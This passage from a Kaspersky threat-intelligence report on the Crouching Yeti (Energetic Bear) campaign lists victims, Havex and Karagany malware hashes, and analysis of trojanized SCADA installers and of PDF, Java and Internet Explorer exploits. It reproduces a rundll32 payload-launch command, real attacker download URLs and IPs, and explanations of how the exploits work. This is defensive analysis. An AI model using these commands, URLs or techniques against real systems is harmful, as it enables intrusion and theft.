IT Australia - provides systems to streamline management and governance processes. Victim 19 Integrated online marketing agency. Russia. Victim 20 Design and manufacture of standard and custom leak test machines. Victim 21 University in Spain. Victim 22 Towing/hauling solutions to the commercial trucking industry. Located coast to coast in the U.S., Canada, Europe, Australia and Mexico. Victim 23 University in Poland. TLP: Green For any inquire please contact intelreports@kaspersky.com Victim 24 Areas of activity: recycling, mining and food sorting. Victim 25 Systems integrator located in North Carolina. Specializes in the design and implementation of SCADA systems. Victim 26 City council - Poland. Victim 27 University in China. Victim 28 Cleaning solutions. Victim 29 Manufacturer of flexible packaging and advanced laminate design solutions. Victim 30 Custom manufacturing of complex three-dimensional sheet metal parts. Victim 31 Specializes in mechanical engineering. Area of activity: Laminating-Machines , Used-Machinery. Victim 32 Structural engineering field in every major market sector and construction type. California. Victim 33 Courier services worldwide. Greece. Victim 34 Institute of Physics. Croatia Victim 35 Supplies public sector organizations with products and contracts. UK. Victim 36 University in Spain. Victim 37 TLP: Green For any inquire please contact intelreports@kaspersky.com University in Poland. Victim 38 University in Poland. Victim 39 Research & Education Network. USA. Victim 40 University in Germany. Victim 41 American multinational technology and consulting corporation. Victim 42 Creates and manages international private WANs for large multinational companies. Victim 43 Informatics Centre in India. Victim 42 Health authority in Canada. Victim 43 County Government in USA. Victim 44 University in USA. Victim 45 American multinational conglomerate corporation. Victim 46 Unit within University in USA. Victim 47 Operates high speed computer network in Turkey. Victim 48 University in Poland. TLP: Green For any inquire please contact intelreports@kaspersky.com Victim 49 Telecommunications and computing services. USA. Victim 50 American multinational document management corporation. Victim 51 Major electronic systems company based in France acting in areas such as defense, aerospace, airline security and safety, information technology, and transportation Victim 52 Swiss multinational pharmaceutical company. Victim 53 American manufacturing conglomerate involved in aircraft, the space industry, defense-oriented and commercial electronics, automotive and truck components. Victim 54 Industrial suburb in India. Victim 55 Information Technology company. Iran. Victim 56 University in China. Victim 57 Global payments and technology company. USA. Victim 58 College in USA. Victim 59 University in Germany. Victim 60 University in UK. Victim 61 TLP: Green For any inquire please contact intelreports@kaspersky.com Supercomputing and Networking Center. Poland. Victim 62 University in Canada. Victim 63 University in USA. Victim 64 University in Spain. Victim 65 Academic and Research Network. Ukraine. Victim 66 University in Canada. Victim 67 Front, middle, and back office services for global financial markets. Victim 68 Greek Public Administration Network Victim 69 University in the USA. Victim 70 University in Russia. Victim 71 Airport Authority in the USA. Victim 72 Multinational manufacturer. Germany. Victim 73 Energy consumption analysis company. Victim 74 University in the USA. TLP: Green For any inquire please contact intelreports@kaspersky.com Victim 75 University in Taiwan. Victim 76 University in Japan. Victim 77 University in Taiwan. Victim 78 University in the USA. Victim 79 University in the USA. Victim 80 University in Sweden. Victim 81 University in Poland. Victim 82 Pharma industry. Victim 83 Digital content for education and research in the UK. Victim 84 University weather research. Victim 85 University in South Korea. Victim 86 Construction management services. Victim 87 Education and Research Network, China. Victim 88 TLP: Green For any inquire please contact intelreports@kaspersky.com Communications network for science and research, Germany. Victim 89 University in the USA. Victim 90 University in Spain. Victim 91 University in South Korea. Victim 92 Academic and Research Network, Croatia. Victim 93 Encryption technology Institute. Victim 94 University in the USA. Victim 95 Chemical company, Germany. Victim 96 School, USA. Victim 97 University in Ukraine. Victim 98 Liquefied natural gas, US energy demand. Victim 99 University in Poland. Victim 100 Academic and Research Network, Australia. Victim 101 Space research institute, Russia. TLP: Green For any inquire please contact intelreports@kaspersky.com IX. Appendix 9: Hashes Havex, Sysmain, Ddex: 022da314d1439f779364aba958d51b119ac5fda07aac8f5ced77146dbf40c8ac 02e5191078497be1e6ea8bac93b6cfb9b3ee36a58e4f7dd343ac1762e7f9301e 066346170856972f6769705bc6ff4ad21e88d2658b4cacea6f94564f1856ed18 0850c39a7fcaa7091aaea333d33c71902b263935df5321edcd5089d10e4bbebb 0a0a5b68a8a7e4ed4b6d6881f57c6a9ac55b1a50097588e462fe8d3c486158bf 0c20ffcdf2492ccad2e53777a0885c579811f91c05d076ff160684082681fe68 0e34262813677090938983039ba9ff3ade0748a3aba25e28d19e2831c036b095 0ea750a8545252b73f08fe87db08376f789fe7e58a69f5017afa2806046380a5 0f4046be5de15727e8ac786e54ad7230807d26ef86c3e8c0e997ea76ab3de255 13da3fe28302a8543dd527d9e09723caeed98006c3064c5ed7b059d6d7f36554 170e5eb004357dfce6b41de8637e1dbeb87fa58e8b54a2031aac33afb930f3c8 1d768ebfbdf97ad5282e7f85da089e174b1db760f1cbdca1a815e8e6245f155a 2221c2323fb6e30b9c10ee68d60b7d7be823911540bb115f75b2747d015e35f9 24be375f0e11d88210e53f15cc08d72ab6c6287676c3fe3c6f70b513e5f442ed 269ea4b883de65f235a04441144519cf6cac80ef666eccf073eedd5f9319be0f 2c109406998723885cf04c3ced7af8010665236459d6fe610e678065994154d4 2dc296eb532097ac1808df7a16f7740ef8771afda3ac339d144d710f9cefceb4 2efd5355651db8e07613e74b1bf85b50273c1f3bce5e4edbedea0ccdff023754 2f24c7ccbd7a9e830ed3f9b3b7be7856e0cc8c1580082433cbe9bf33c86193c6 2f593c22a8fd0de3bbb57d26320446a9c7eed755ae354957c260908c93d8cf79 3094ac9d2eeb17d4cda19542f816d15619b4c3fec52b87fdfcd923f4602d827b 31db22caf480c471205a7608545370c1b3c0c9be5285a9ef2264e856052b66b4 43608e60883304c1ea389c7bad244b86ff5ecf169c3b5bca517a6e7125325c7b 487eaf5cc52528b5f3bb27ba53afffb6d534068b364a41fc887b8c1e1485795a 49c1c5e8a71f488a7b560c6751752363389f6272d8c310fee78307dc9dcd3ee2 4f3ceab96fb55d0b05380a1d95bb494ca44d7a9d7f10ded02d5b6fc27c92cb05 4ff5f102f0f1284a189485fc4c387c977dd92f0bc6a30c4d837e864aed257129 56a1513bcf959d5df3ff01476ddb4b158ce533658ab7d8dd439324b16f193ac2 593849098bd288b7bed9646e877fa0448dcb25ef5b4482291fdf7123de867911 59c4cba96dbab5d8aa7779eac18b67b2e6f8b03066eb092415d50dff55e43b72 5a13d0c954280b4c65af409376de86ac43eb966f25b85973a20d330a34cdd9a6 60f86898506f0fdf6d997f31deff5b6200a6969b457511cc00446bd22dd1f0a4 6122db2cdac0373cc8513c57786088a5548721d01e7674e78082774044e92980 TLP: Green For any inquire please contact intelreports@kaspersky.com 61969cd978cd2de3a13a10510d0dea5d0d3b212209804563ed3d42033a9d0f54 6367cb0663c2898aff64440176b409c1389ca7834e752b350a87748bef3a878b 646c94a0194ca70fbe68c444a0c9b444e195280f9a0d19f12393421311653552 65a4332dfe474a8bb9b5fa35495aade453da7a03eb0049211e57b5660d08d75c 6606dd9a5d5182280c12d009a03b8ed6179872fcb08be9aa16f098250cc5b7a7 66ec58b4bdcb30d1889972c1ee30af7ff213deece335f798e57ff51fe28752e3 684ea2083f2f7099f0a611c81f26f30127ad297fcac8988cabb60fcf56979dfc 698ec413986dc7fc761b1a17624ffffb1590902020b9d0cd5d9a6013c67d9100 6e5f4296bffa7128b6e8fa72ad1924d2ff19b9d64775bd1e0a9ce9c5944bd419 6e92c2d298e25bcff17326f69882b636150d2a1af494ef8186565544f0d04d3d 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inquire please contact intelreports@kaspersky.com c66525285707daff30fce5d79eb1bdf30519586dfec4edf73e4a0845fd3d0e1c c987f8433c663c9e8600a7016cdf63cd14590a019118c52238c24c39c9ec02ad cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 cd019e717779e2d2b1f4c27f75e940b5f98d4ebb48de604a6cf2ab911220ae50 ce99e5f64f2d1e58454f23b4c1de33d71ee0b9fcd52c9eb69569f1c420332235 d3ee530abe41705a819ee9220aebb3ba01531e16df7cded050ba2cf051940e46 d588e789f0b5914bd6f127950c5daf6519c78b527b0ed7b323e42b0613f6566f d5e3122a263d3f66dcfa7c2fed25c2b8a3be725b2c934fa9d9ef4c5aefbc6cb9 d71da8a59f3e474c3bcd3f2f00fae0b235c4e01cd9f465180dd0ab19d6af5526 d755904743d48c31bdff791bfa440e79cfe1c3fc9458eb708cf8bb78f117dd07 da3c1a7b63a6a7cce0c9ef01cf95fd4a53ba913bab88a085c6b4b8e4ed40d916 dc612882987fab581155466810f87fd8f0f2da5c61ad8fc618cef903c9650fcd dc75404b6fc8cdb73258c2cc7bc758347ffb4237c8d18222f3489dc303daf989 e029db63346c513be42242e268559174f6b00d818e00d93c14bd443314f65fe5 e38aa99eff1f9fedd99cf541c3255e99f3276839a883cadb6e916649522729e3 e42badd8fb20f1bc72b1cec65c42a96ee60a4b52d19e8f5a7248afee03646ace e73f8b394e51348ef3b6cea7c5e5ecc2ee06bb395c5ac30f6babb091080c1e74 ecb097f3367f0155887dde9f891ff823ff54ddfe5217cdbb391ea5b10c5a08dc edb7caa3dce3543d65f29e047ea789a9e429e46bed5c29c4748e656285a08050 ee53e509d0f2a3c888232f2232b603463b421b9c08fe7f44ed4eead0643135d3 f1d6e8b07ac486469e09c876c3e267db2b2d651299c87557cbf4eafb861cf79c f65d767afd198039d044b17b96ebad54390549c6e18ead7e19e342d60b70a2c3 fb30c3bb1b25b3d4cca975f2e0c45b95f3eb57a765267271a9689dd526658b43 c43ce82560cea125f65c7701c733c61ae3faa782c8b00efcb44fd7dbd32a5c4b ebb16c9536e6387e7f6988448a3142d17ab695b2894624f33bd591ceb3e46633 61f4a9a30c9cce221624da208eac253c8ce95d55da4605b12774619b1a0d1587 913c21141966750cfe80d1f64f7c819ae59e401b47f0b5031fd2486c10403c91 87d1d820fd4faea5a48aa3a26d6b5d742b457bff6d291e03dce257d6861766f7 4c5c02fbd6f35cad2e0a6f15e769bc6d4413219ce059cc11be7589f5d54645ea 81e5e73452aa8b14f6c6371af2dccab720a32fadfc032b3c8d96f9cdaab9e9df 387d4ea82c51ecda162a3ffd68a3aca5a21a20a46dc08a0ebe51b03b7984abe9 0c9b20f4cb0b3206f81c2afbb2ee4d995c28f74f38216f7d35454af624af8876 45abd87da6a584ab2a66a06b40d3c84650f2a33f5f55c5c2630263bc17ec4139 e3a7fa8636d040c9c3a8c928137d24daa15fc6982c002c5dd8f1c552f11cbcad 6b2a438e0233fe8e7ba8774e2e5c59bf0b7c12679d52d6783a0010ecad11978c 69b555a37e919c3e6c24cfe183952cdb695255f9458b25d00d15e204d96c737b 101e70a5455212b40406fe70361995a3a346264eabd4029200356565d2bacd6a d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c 1ba99d553582cc6b6256276a35c2e996e83e11b39665523f0d798beb91392c90 31488f632f5f7d3ec0ea82eab1f9baba16826967c3a6fa141069ef5453b1eb95 TLP: Green For any inquire please contact intelreports@kaspersky.com f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a 6296d95b49d795fa10ae6e9c4e4272ea4e1444105bddbf45b34ee067b2603b38 72ff91b3f36ccf07e3daf6709db441d2328cecab366fd5ff81fc70dd9eb45db8 a3a6f0dc5558eb93afa98434020a8642f7b29c41d35fa34809d6801d99d8c4f3 53d2a3324f276f29c749727c20708a3421a5144046ce14a8e025a8133316e0ac 1ef47da67f783f8cc8cda7481769647b754874c91e0c666f741611decd878c19 358da2c5bb5fbd9c9cf791536054bbb387ce37253c31555f5afa544f38de2a3f 3a88ff66f4eb675f0c3e6c5f947c012945c4e15b77a2cd195de8a8aba23ccb29 439e5617d57360f76f24daed3fe0b59f20fc9dade3008fd482260ba58b739a23 2c37e0504b98413e0308e44fd84f98e968f6f62399ea06bc38d3f314ee94b368 bb3529aa5312abbee0cfbd00f10c3f2786f452a2ca807f0acbd336602a13ac79 4cf75059f2655ca95b4eba11f1ce952d8e08bb4dbcb12905f6f37cf8145a538d 170596e88b26f04d349f6014d17a88026ec55eab44888e2a9bb4dd90a79f6878 59af70f71cdf933f117ab97d6f1c1bab82fd15dbe654ba1b27212d7bc20cec8c b8514bff04e8f4e77430202db61ec5c206d3ec0f087a65ee72c9bb94a058b685 778568b44e13751800bf66c17606dfdfe35bebbb94c8e6e2a2549c7482c33f7a 224e8349ba128f0ab57bdebef5287f4b84b9dccbc2d8503f53f6333efd5f9265 fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 aef82593822a934b77b81ebc461c496c4610474727539b0b6e1499ca836f0dee fd689fcdcef0f1198b9c778b4d93adfbf6e80118733c94e61a450aeb701750b4 d89a80a3fbb0a4a40157c6752bd978bc113b0c413e3f73eb922d4e424edeb8a7 Exploits: 1b12b5bfa6488f05680cc5aacdeda420b643713c88964b824913117cfbcd37e5 6b72d7aaccb2bf2f2cc08f8fab1c1a65beccd62d2f404d6c04806f3dc3c7ed3b 6cd18347407c78195e25adcc532eec0c2ef4e0940f8572909978404b7b9a4264 d1da07b851ae861da09a4ec4b4ab0b8b1bf44470f4266eaccacacb62e24f825b 3d4c9cad0830c653a06bc6a15739e5c938b83b7ee910895190acfc5bf879945a b7b70238c7463ea53e3f9d242e3a4dac94eae0e03545df5245a0fa4a62904e41 Modules: 004c99be0c355e1265b783aae557c198bcc92ee84ed49df70db927a726c842f3 6aca45bb78452cd78386b8fa78dbdf2dda7fba6cc06482251e2a6820849c9e82 7933809aecb1a9d2110a6fd8a18009f2d9c58b3c7dbda770251096d4fcc18849 0859cb511a12f285063ffa8cb2a5f9b0b3c6364f8192589a7247533fda7a878e f4bfca326d32ce9be509325947c7eaa4fb90a5f81b5abd7c1c76aabb1b48be22 2120c3a30870921ab5e03146a1a1a865dd24a2b5e6f0138bf9f2ebf02d490850 9a2a8cb8a0f4c29a7c2c63ee58e55aada0a3895382abe7470de4822a4d868ee6 TLP: Green For any inquire please contact intelreports@kaspersky.com ClientX: 66ab3a26ffe5d9fb72083dc3153d0ddfbfb621cc34a299dd987049b479244480 Karagany: 05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 1b3cf050d626706d32c1c2c1cbd4975d519cfbdb9bca0f2e66b7e1120030b439 fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 a553384eeadf4ad39e6c89bf16a146c01ebf627d042485844d75cd67b421afb8 b1a3e67200a3837ecf45481885c2eca88f89509443a0bcec01b12aa737007a9b a97b5be3d24966ffbeaca15250477b434485f0b3a4c106c443855bbe60426df5 1cbe3c94e97d99e4e6a09cc6a790e1d26afc3d7cb89b90665a0de22680c6f8d7 TLP: Green For any inquire please contact intelreports@kaspersky.com X. Appendix 10: Delivery methods detailed analysis 10.1. Hijacked installers of legitimate software SwissRanger camera driver (sysmain dropper) A hijacked installer of libMesaSR used by the SwissRanger camera driver, produced by Acroname: http://www.acroname.com/ Files details: SHA-256: 398a69b8be2ea2b4a6ed23a55459e0469f657e6c7703871f63da63fb04cefe90 Size: 1311927 Compiled: Sat, 28 May 2011 16:04:38 UTC Detected as: Trojan.Win32.Inject.hhwa Description: trojanized installer %TEMP%\tmp687.dll and %APPDATA%\sydmain.dll Path: SHA-256: a8e6abaa0ddc34b9db6bda17b502be7f802fb880941ce2bd0473fd9569113599 Size: 133152 Compiled: Wed, 12 Jun 2013 04:31:14 UTC Detected as: Trojan.Win32.Inject.hhwa Description: Sysmain backdoor Path: SHA-256: Size: Compiled: Description: %TEMP%\setup.exe 7fa188fb3bfecbd0fbbb05cfa4a3078ac44f68c63b784b20046e470613e35f96 1181500 Sat, 05 Dec 2009 22:50:52 UTC original installer, version 1.0.14.706 Registry modification: [HKCU\Software\Microsoft\Windows\CurrentVersion\Run] load = C:\WINDOWS\system32\rundll32.exe c:\documents and settings\luser\application TLP: Green For any inquire please contact intelreports@kaspersky.com data\sydmain.dll ,AGTwLoad eWon software (Havex dropper) A hijacked installer of eCatcher - a piece of legitimate software developed by a Belgian producer of SCADA and industrial network equipment: http://www.ewon.be/en/home.html Files details: SHA-256: 70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9 Size: 43971440 Compiled: Sat, 31 Mar 2007 15:09:46 UTC Detected as: (not detected yet) Description: trojanized installer Url: hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe Path: SHA-256: Size: Compiled: Description: %TEMP%\TmProvider.dll and %SYSTEM%\TMPProvider.dll Path: SHA-256: Size: Compiled: Description: %TEMP%\eCatcherSetup.exe 401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67 327168 Mon, 30 Dec 2013 12:53:48 UTC Havex version 038 c7caa7fa2a23508b0a024a6a4b2dcaad34ab11ea42dffc3a452901c007cdfc34 43785864 Fri, 19 Jun 1992 22:22:17 UTC original installer, version 4.0.0.13073 Path: %TEMP%\qln.dbx Size: Description: text file with Havex version number Registry modification: [HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run] TmProvider = rundll32 %SYSTEM%\TMPprovider038.dll , RunDllEntry [HKLM\Software\Microsoft\Internet Explorer\InternetRegistry] TLP: Green For any inquire please contact intelreports@kaspersky.com fertger = 269684507736283195770098FD80-25 mbCheck software (Havex dropper) A hijacked installer of legitimate software for the remote maintenance of PLC systems mbCHECK produced by MB Connect Line GmbH: http://www.mbconnectline.com/index.php/en/ Files details: SHA-256: 0b74282d9c03affb25bbecf28d5155c582e246f0ce21be27b75504f1779707f5 Size: 1141478 Compiled: Sun, 14 Jul 2013 20:09:51 UTC) Detected as: Trojan-Dropper.Win32.Injector.kcnn Description: Trojanized installer Path: SHA-256: Size: Compiled: Description: Resource: %TEMP%\mbCHECK.dll and %SYSTEM%\svcprocess043.dll d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c 437248 Fri, 11 Apr 2014 05:37:36 UTC Havex version 043 12.MTMxMjMxMg==.5.havex.14400000.12.Explorer.EXE.0.2.66.sinfulce lebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php.90.ra pidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-sett ings/bp-settings-src.php.354.AATXn+MiwLu+xCoMG7SqY1uQxAk1qLdyoED 9LxIVQr2Z/gsrHIsgTvK9AusdFo+9..fzAxf1zXj42880+kUmktmVb5HSYi8T27Q 54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk..09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja +Ml4SI7e60C4qDQAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAQAB. 29.c8a7af419640516616c342b13efab.29.45474bca5c3a10c8e94e56543c2b d.600000.2000.323000.10.svcprocess. Path: SHA-256: Size: Compiled: Description: TLP: Green %TEMP%\mbCHECK.exe 34254c2decc973dbd8f28b47690f233f5c5d3e1735ee20a6b8dd1dbe80d16d81 1647104 Thu, 25 Jul 2013 13:30:28 UTC original software, version 1.1.1.0 For any inquire please contact intelreports@kaspersky.com Path: %TEMP%\qln.dbx Size: Description: text file with Havex version number Registry modification: [HKCU|HKLM]\Software\Microsoft\Windows\CurrentVersion\Run] svcprocess = rundll32 %SYSTEM%\svcprocess043.dll , RunDllEntry [HKLM\Software\Microsoft\Internet Explorer\InternetRegistry] fertger = 229182459113651166490098FD80-c8a7af419640516616c342b13efab Second stage tool delivery: kinoporno.org was a confirmed Yeti site. It served Havex variant (d532eb6835126e53e7ae491ae29f d8b3) at kinoporno.org/Provider.dll. It also served up the well-known lateral movement utility 64bit Windows Credential Editor tool at kinoporno.org/wce64.exe Another example above included a credential and document stealing component, downloaded as a part of the attack chain from nahoonservices.com: 91.203.6.71/check2/muees27jxt/fl.exe TLP: Green For any inquire please contact intelreports@kaspersky.com 10.2. Exploitation CVE-2011-0611 - PDF exploit The exploit is delivered as an XDP file (XML Data Package) which is actually a PDF file packaged within an XML container. This is a known PDF obfuscation method which serves as an additional anti-detection layer. The XDP file contains an SWF exploit and two files (encrypted with XOR 0x04) stored in the invalid section of the PDF. One of the files is Havex DLL (version 038), the other is a small JAR file, which is used to copy and run the DLL by executing the following command: cmd /c copy %TEMP%\\explore.dll /y & rundll32.exe %TEMP%\\ explore.dll,RunDllEntry The SWF executes the action script, which contains a shellcode (encrypted with XOR 0x96) and another SWF file (encrypted with XOR 0x7D) which uses the CVE-2011-0611 vulnerability to run the shellcode. The shellcode then looks for the signature S18t in the memory (which signs the start of encrypted DLL), decrypts and loads it. Files summary: SHA-256: c521adc9620efd44c6fe89ff2385e0101b0e45bcd7ffcdd88e26fbab4bec2ef1 File type: Size: 447723 Detected as: Exploit.SWF.Pdfka.b Description: initial dropper SHA-256: 6b72d7aaccb2bf2f2cc08f8fab1c1a65beccd62d2f404d6c04806f3dc3c7ed3b File name: A9R1A89.pdf Size: 335498 Detected as: Exploit.SWF.Pdfka.a Description: embedded PDF document SHA-256: dd6ea7b1f6d796fce4c562402549ef27f510747ddc9d71c54f47c9a75a7cf870 File name: Tatsumaki.swf Size: 3264 Detected as: Exploit.SWF.Pdfka.a Description: malformed SWF TLP: Green For any inquire please contact intelreports@kaspersky.com SHA-256: e94b97716d354a21dcff365e91d2f445fe2cac6a01a38f6dd1c921c57eeafef4 File type: Size: 1484 Detected as: Exploit.SWF.CVE-2011-0611.ae Description: malformed SWF SHA-256: 3b6611878a4ebbafae0841e8057171d27793c5c883fdf8fb631c147f18dd90fe File name: htua.as Size: 8127 Detected as: Exploit.SWF.Pdfka.c Description: malicious Action Script SHA-256: 9879f436afab7121e74c43cc9e7a9561711254fb1fc2400f68791932d2414c44 File name: javaapplication1.jar Description: java file used to load the DLL SHA-256: f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a Path: %TEMP%\explore.dll Size: 327168 Compiled: Mon, 30 Dec 2013 12:53:48 UTC Detected as: Trojan.Win32.Bublik.burw Description: dropped DLL: Havex version 038 CVE-2012-1723 / CVE-2012-4681 - JAVA exploit In relation to the Yeti infections, we have discovered a malicious JAVA applet - named googlea. jar - which was part of the malicious HTML file. It uses either CVE-2012-1723 or CVE-2012-4681, depending on which Java version is running on the victim s machine. It downloads payloads to %JAVATMP%\roperXdun.exe (where X is the sequential number starting from 0 for the payload from the first URL from the list) and executes them. The URL list is stored in the parameter in HTML file, so there is no way of checking what the payload was and where it came from without having the original HTML that embedded the malicious applet. The URLs in the parameter are encrypted in the form of a string composed from numbers from 0 to 71 separated by colons. Each number represents a different ASCII character. Detections googlea.class -- Exploit.Java.CVE-2012-1723.ou googleb.class -- Exploit.Java.CVE-2012-1723.eh TLP: Green For any inquire please contact intelreports@kaspersky.com googlec.class -- Exploit.Java.CVE-2012-1723.ov googled.class -- Exploit.Java.CVE-2012-4681.at googlee.class -- Exploit.Java.CVE-2012-4681.au googlef.class -- Exploit.Java.CVE-2012-1723.ow hidden.class -- Exploit.Java.CVE-2012-4681.as V.class -- Exploit.Java.CVE-2012-4681.ar CVE-2010-2883 - Adobe Reader exploit nahoonservices.com/wp-content/plugins/rss-poster/jungle.pdf 3c38cb140c83d35ac312b7906b9 34fe3 %temp%\TmpProvider0.dll 783A5870FA3ECDEA0C49B20F5C024EFC Almost predictably, this early Yeti pdf exploit is yet another metasploit rip. The ROP used in this Yeti exploit matches the msf code instruction for instruction. The pdf stores the Havex downloader in its content, which it writes to %temp% and executes after obtaining control flow from Adobe Reader. The significant stages of this exploit start by setting up parameters for the vulnerable strcat call in the CoolType SING table parsing library here, in order to overwrite the stack with an appropriate ROP blob. The code is paused here at the vulnerable strcat call: TLP: Green For any inquire please contact intelreports@kaspersky.com After the strcat call values smash the stack, an exact copy of the metasploit ROP code delivered by the Yeti exploit pivots from the (msf-selected) icucnv36.dll library into the microsoft c runtime to make a memcpy call here: The original 0-day exploiting this Adobe Reader vulnerability targeted icucnv34.dll. Function call chains for both the Yeti ROP and the msf ROP are as follows: CreateFileA CreateFileMappingA MapViewOfFile save and load the saved mapping ptr memcpy ret back into shellcode for Havex file write to %temp% and execute This work is clearly a rip from metasploit. CVE-2012-5076 - Java exploit www.nahoonservices.com/wp-content/plugins/rss-poster/dgoat.jar www.nahoonservices.com/wpcontent/plugins/rss-poster/jungle.php (TmpProvider0.dll, 2e39e7bd5d566893fe3df0c7e145d83a) dgoat.jar TLP: Green For any inquire please contact intelreports@kaspersky.com dgoat EvilPolicy.class, 761 bytes Mosdef.class, 2176 bytes SiteError$1.class, 1976 bytes SiteError.class, 4347 bytes META-INF MANIFEST.MF, Manifest-Version: 1.0 Another exploit ripping metasploit code. This exploit was first seen on a large scale when exploit code targeting cve-2012-5076 was included in the Cool Exploit pack. The flaw lies in the configuration of the JRE itself and enables untrusted applets to access dangerous packages. In other words, com.sun.org.glassfish.,\ was left out of the checkPackageAccess list in the java.security file. From the unrestricted com.sun.org.glassfish.* package, the untrusted applets can create a class with elevated privilege. In this case, one of the exposed dangerous packages happens to be com.sun. org.glassfish.gmbal, which you can see imported by SiteError.class Also in that class file is the trigger itself, where a malicious class is loaded on the fly by the unrestricted GenericConstructor code that should not have been available to an untrusted applet. The new instance of localClass created from smd_bytes is nothing more than a call to set the SecurityManager value to null, effectively turning off the JRE sandbox security access features. The exploit maintains a class in the byte array: TLP: Green For any inquire please contact intelreports@kaspersky.com And when decoded, the contents of this smd_bytes array are in fact SecurityManagerDisabler. class After SecurityManagerDisabler.class disables the JRE SecurityManager, SiteError.class code loads the Mosdef.class, which downloads and runs another Havex backdoor. It downloads www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php to %temp%, renames it to TMPprovider0.dll and executes the Havex code: TLP: Green For any inquire please contact intelreports@kaspersky.com CVE-2013-1488 - Java exploit www.nahoonservices.com/wp-content/plugins/rss-poster/start.jar www.nahoonservices.com/ wp-content/plugins/rss-poster/juch.php 6f50b55b9f08522e35f871a9654c5a84, start.jar, Exploit.Java.CVE-2011-3544.sf Delivers coresyns.exe , a Karagany backdoor start.jar FakeDriver.class, 1771 bytes FakeDriver2.class, 1573 bytes LyvAGalW.class, 2459 bytes +---META-INF MANIFEST.MF - Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation) +---services java.lang.Object - FakeDriver,FakeDriver2 java.sql.Driver - com.sun.script.javascript.RhinoScriptEngine CVE-2013-0422 - Java exploit www.nahoonservices.com/wp-content/plugins/rss-poster/direct.jar www.nahoonservices.com/wp-content/plugins/rss-poster/noah.php, syscmmnet.exe 8907564aba9c9ae3225e304a847d8393, direct.jar, HEUR:Exploit.Java.CVE-2013-0431.gen fd4927baf0c49ecc3d9285404499a664b09e88140862b6f0ffadd5892de8618e direct.jar Joker.class, 809 bytes King.class, 4234 bytes Servant.class, 1231 bytes +---META-INF MANIFEST.MF - Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation) CVE-2013-2465 - Java exploit serviciosglobal.com/classes/kool.jar serviciosglobal.com/classes/crunur2i.php?dwl=fne %temp%\ntsvcreg.exe 6b89e569cfe25e6bb59ca51198f6e793, kool.jar, HEUR:Exploit.Java.Generic 5ecd5f9e2c38bdbc88ca29f363967812016b770d027842a9670d4ceb5b61232f TLP: Green For any inquire please contact intelreports@kaspersky.com kool.jar fcswzHCx.class, 330 bytes gQHcpqRh.class, 486 bytes laovYlnv.class, 2804 bytes nTAYnMtP$MyBufferedImage.class, 495 bytes nTAYnMtP.class, 4774 bytes qmNkVdFD.class, 331 bytes sMYrLAwc.class, 456 bytes +---META-INF MANIFEST.MF - Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation) This exploit is ripped almost directly from the metasploit framework - it s simply modified with an additional string obfuscation handling method. The obfuscation code in this java exploit is fairly weak but effective in modifying the metasploit code just enough to cover up similarities. The exploit code was only slightly modified here to demonstrate the crypto routine and hardcoded string values for the payload url and filepath: Output here: Another CVE-2013-2465(2014.03) mahsms.ir/wp-includes/pomo/srgh.php?a=r2 http://mahsms.ir/wp-includes/pomo/srgh.php?a=dwe (%temp%\ntregsrv.exe) TLP: Green For any inquire please contact intelreports@kaspersky.com 7193a06fd7ffe78b67a5fc3c3b599116,file.jar, dAFyTngH.class, 449 bytes FVlMQjZg.class, 330 bytes gYEgZwVz.class, 331 bytes jqoZhkHr$MyBufferedImage.class, 495 bytes jqoZhkHr.class, 4785 bytes NNpGXbMk.class, 486 bytes yqHWgAJa.class, 2783 bytes +---META-INF MANIFEST.MF, Manifest-Version: 1.0\d\nCreated-By: 1.7.0_11 (Oracle Corporation) CVE-2013-1347 - Internet Explorer exploit kenzhebek.com_tiki/files/templates/listpages/negc.html kenzhebek.com/tiki/files/templates/listpages/hoem.php www.nahoonservices.com/wp-content/plugins/rss-poster/negc.html ee6409deb87cabb1d573b9e1367bd0df, negc.html, Exploit.JS.CVE-2013-1347.a ec7ce1f3eac658ebd31d26d8d719b14903502cdea4938e6935a74d9355fe5282 2e27a5d1a4f4cf5729d23303a56daa70, negc.html, Exploit.JS.CVE-2013-1347.b 03637d861d1b58863a212d4993fe4d2f, tmpprovider0.dll, Trojan-Dropper.Win32.Daws.bqsi cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 The exploit itself is finicky. It is another rip of the corresponding metasploit code, with minor modifications. See Obvious Metasploit Rips below. The shellcode delivered with the exploit is nothing out of the ordinary, using expected thread environment variables to identify module locations in the memory... The shellcode gets more interesting due to the manner in which the download url string was built. TLP: Green For any inquire please contact intelreports@kaspersky.com The encoding algo was a simple additive 0x1010101 against every four bytes of the reversed string kenzhebek.com/tiki/files/templates/listpages/hoem.php , which was downloaded as a Havex backdoor. The decoder looks like this... CVE-2012-1889 - Internet Explorer components exploit roxsuite.com/includes/phpmailer/irl.html 8b15ef4815c771a94b4adcaee8c67100 